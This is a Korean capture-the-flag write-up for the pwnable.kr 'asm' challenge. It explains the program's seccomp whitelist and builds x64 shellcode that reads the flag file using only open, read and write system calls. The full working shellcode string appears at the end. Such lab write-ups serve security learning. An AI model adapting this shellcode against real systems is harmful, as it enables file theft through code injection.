pwnable.kr asm - writeup
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#define LENGTH 128
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));
int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);
alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}
코드는 위와 같이 구성 되어 있다.
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));
sh에 메모리를 할당하고 0x1000만큼 0x90으로 초기화하고 stub안에 있는 값을 sh에 복사를 해줬다.
stub안에 있는 값들이 무엇일까?
바로 64bit에서 사용하는 레지스터를 0으로 초기화 시켜주는 작업이다.
즉, 찌거기를 제거해주고 있는 것이다.
0x0000000000000000: xor rax, rax
0x0000000000000003: xor rbx, rbx
0x0000000000000006: xor rcx, rcx
0x0000000000000009: xor rdx, rdx
0x000000000000000c: xor rsi, rsi
0x000000000000000f: xor rdi, rdi
0x0000000000000012: xor rbp, rbp
0x0000000000000015: xor r8, r8
0x0000000000000018: xor r9, r9
0x000000000000001b: xor r10, r10
0x000000000000001e: xor r11, r11
0x0000000000000021: xor r12, r12
0x0000000000000024: xor r13, r13
0x0000000000000027: xor r14, r14
0x000000000000002a: xor r15, r15
그 후에 우리가 원하는 쉘코드를 삽입하고 실행을 시키면된다.
하지만 그전에 sandbox()라는 함수를 부른다.
아래와 같은 작업을 하게 된다.
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}
sandbox함수 안에 있는 seccomp는 리눅스 커널에서 애플리케이션 샌드박싱 메커니즘을 제공하는 컴퓨터 보안 기능이다.
seccomp는 프로세스가 이미 열린 파일 디스크립터에서 exit(), sigreturn(), read(), write()를 제외한 어떠한 시스템 호출도 일으킬 수 없는 안전한 상태로 일방향 변환을 할 수 있게 한다.
하지만 seccomp_rule_add를 통해서 화이트리스트를 등록할 수 있다.
그래서 현재 open(), read(), write(), exit(), exit_group() 시스템콜도 사용이 가능하다.
즉, 화이트리스트 목록에 있는 시스템콜을 이용해서 x64 쉘코드를 만들면 된다.
asm@ubuntu:~$ cat readme
once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.
make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)
reame를 읽어보면, 플래그의 파일이름이 실제 플래그를 얻을 수 있는 파일 이름과 같다고한다.
그렇다면 공격과정은 다음과 같다.
-
open 함수를 통해 플래그의 파일이름을 연다
-
read 함수를 통해 파일의 데이터를 읽는다
-
write 함수를 통해 파일의 데이터를 써서, 플래그를 얻는다
-
exit 함수를 통해 프로그램을 정상종료시켜준다.
이제 알았으니, 이를 토대로 어셈블리어를 작성해보자.
그후 컴파일을 하고, 링킹을 하고, 기계어로 보면, 다음과 같다.
"\x48\x31\xff\x48\xbf\x6f\x30\x6f\x30\x6f\x6e\x67\x00\x57\x48\xbf\x6f\x30\x6f\x30\x6f\x30\x6f\x30\x57\x48\xbf\x30\x30\x30\x30\x30\x30\x30\x30\x57\x48\xbf\x6f\x6f\x6f\x6f\x30\x30\x30\x30\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x30\x30\x30\x30\x30\x6f\x6f\x6f\x57\x48\xbf\x30\x30\x30\x30\x30\x30\x30\x30\x57\x48\xbf\x30\x30\x30\x30\x30\x30\x30\x30\x57\x48\xbf\x6f\x6f\x6f\x6f\x30\x30\x30\x30\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x73\x5f\x76\x65\x72\x79\x5f\x6c\x57\x48\xbf\x65\x5f\x6e\x61\x6d\x65\x5f\x69\x57\x48\xbf\x5f\x74\x68\x65\x5f\x66\x69\x6c\x57\x48\xbf\x6c\x65\x2e\x73\x6f\x72\x72\x79\x57\x48\xbf\x5f\x74\x68\x69\x73\x5f\x66\x69\x57\x48\xbf\x61\x73\x65\x5f\x72\x65\x61\x64\x57\x48\xbf\x66\x69\x6c\x65\x5f\x70\x6c\x65\x57\x48\xbf\x6b\x72\x5f\x66\x6c\x61\x67\x5f\x57\x48\xbf\x70\x77\x6e\x61\x62\x6c\x65\x2e\x57\x48\xbf\x74\x68\x69\x73\x5f\x69\x73\x5f\x57\x48\xc7\xc0\x02\x00\x00\x00\x48\xc7\xc6\x00\x00\x00\x00\x48\x89\xe7\x0f\x05\x48\x89\xc7\x48\xc7\xc0\x00\x00\x00\x00\x48\x89\xe6\x48\xc7\xc2\x00\x01\x00\x00\x0f\x05\x48\xc7\xc0\x01\x00\x00\x00\x48\xc7\xc7\x01\x00\x00\x00\x48\x89\xe6\x48\xc7\xc2\x00\x01\x00\x00\x0f\x05\x48\xc7\xc0\x3c\x00\x00\x00\x48\xc7\xc7\x00\x00\x00\x00\x0f\x05"
그러면 이 쉘코드를, 넣어주기만 하면 플래그를 딸 수 있다.